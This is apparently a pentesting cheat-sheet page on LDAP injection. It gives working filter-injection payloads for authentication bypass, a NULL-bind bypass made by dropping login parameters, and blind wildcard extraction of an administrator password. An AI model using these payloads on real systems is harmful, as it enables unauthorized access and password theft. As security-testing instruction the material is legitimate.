Skip to main content

ldap-injection

LDAP Injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.


LDAP Syntax

  • Match specific username:

    (cn=hacker)
  • OR condition:

    (|(cn=a)(cn=b))
  • AND condition:

    (&(cn=a)(userPassword=b))
  • Wildcards:

    • Match everything: *
    • Prefix match: adm*

When injected incorrectly, the server appends ) at the end of the filter. To remove the unwanted part, a NULL byte (%00) is used.


Authentication Bypass

The most common type of LDAP injection occurs when user input is inserted directly into an LDAP filter. The goal is to bypass authentication by manipulating the LDAP filter.

A typical LDAP filter used to authenticate a user looks like:

(&(cn=[INPUT1])(userPassword=HASH([INPUT2])))

Here, [INPUT1] is the username and [INPUT2] is the password (hashed).
Because the server hashes the password before inserting it into the query, we cannot inject through the password field.
However, the username field is not hashed, so it becomes the injection point.

General Observation

  • username=hacker & password=hacker → valid login
  • username=hack* & password=hacker → valid login (wildcard matches)
  • username=hacker & password=hac* → fails (password likely hashed)

These observations suggest the filter structure:

(&(cn=[USERNAME])(userPassword=HASH([PASSWORD])))

Since we know the structure now, lets make Injection Strategy.

Our goal is to manipulate [USERNAME] so the entire filter becomes always true, even with a wrong password.

We inject:

  1. hacker) → closes the username condition.
  2. (cn=*) → always-true condition.
  3. ) → closes the outer AND (& ... ) structure.
  4. %00 → NULL byte to discard the rest of the server-generated filter.

Putting it together:

username=hacker)(cn=*))%00

This transforms the original filter:

(&(cn=hacker)(userPassword=HASH(xxx)))

into something like:

(&(cn=hacker)(cn=*))

Which is always true and authenticates the attacker without knowing the password. Which will bypass the authentication and authenticate as user hacker.

Other Examples:

Attempt to manipulate the filter logic by injecting always-true conditions.

Example 1: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

user  = *)(uid=*))(|(uid=*
pass = password
query = (&#x26;(uid=<a data-footnote-ref href="#user-content-fn-1">*)(uid=*))(|(uid=*</a>)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))

Example 2: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

user  = admin)(!(&#x26;(1=0
pass = q))
query = (&#x26;(uid=<a data-footnote-ref href="#user-content-fn-2">admin)(!(&#x26;(1=0</a>)(userPassword=q))))

NULL Bind Authentication Bypass

The application might attempt to authenticate a user by binding to an LDAP server with the provided username and password. Normally, invalid credentials cause the LDAP bind to fail. However, some LDAP servers allow a NULL bind, meaning that if both the username and password are completely absent, the server still returns a successful bind.

So if our request is something like:

POST / HTTP/1.1
Host: example.com
..SNIP..

<strong>username=rezydev&#x26;password=Coolpass123@
</strong>

Remove the parameter:

POST / HTTP/1.1
Host: example.com
..SNIP..

<strong>[REMOVE PARAMETER THEN SEND]
</strong>

This creates a vulnerability:
If the attacker sends no username and no password parameters at all, PHP interprets the successful bind as valid authentication.

info

username=&password= does NOT count as NULL values — those are empty strings, not null.

Because of this behavior, every login form should be tested for missing-parameter behavior. Even if the backend does not use LDAP, improper handling of null or missing fields can lead to authentication bypasses.


Blind Exploitation

This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
(&(sn=administrator)(password=MY*)) : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

LDAP Filter Breakdown:

  • &: Logical AND operator, meaning all conditions inside must be true.
  • (sn=administrator): Matches entries where the sn (surname) attribute is administrator.
  • (password=X*): Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.

Defaults Attributes

Can be used in an injection like *)(ATTRIBUTE_HERE=*

userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName

Exploiting userPassword Attribute

userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID: octetStringOrderingMatch (OID 2.5.13.18).

octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx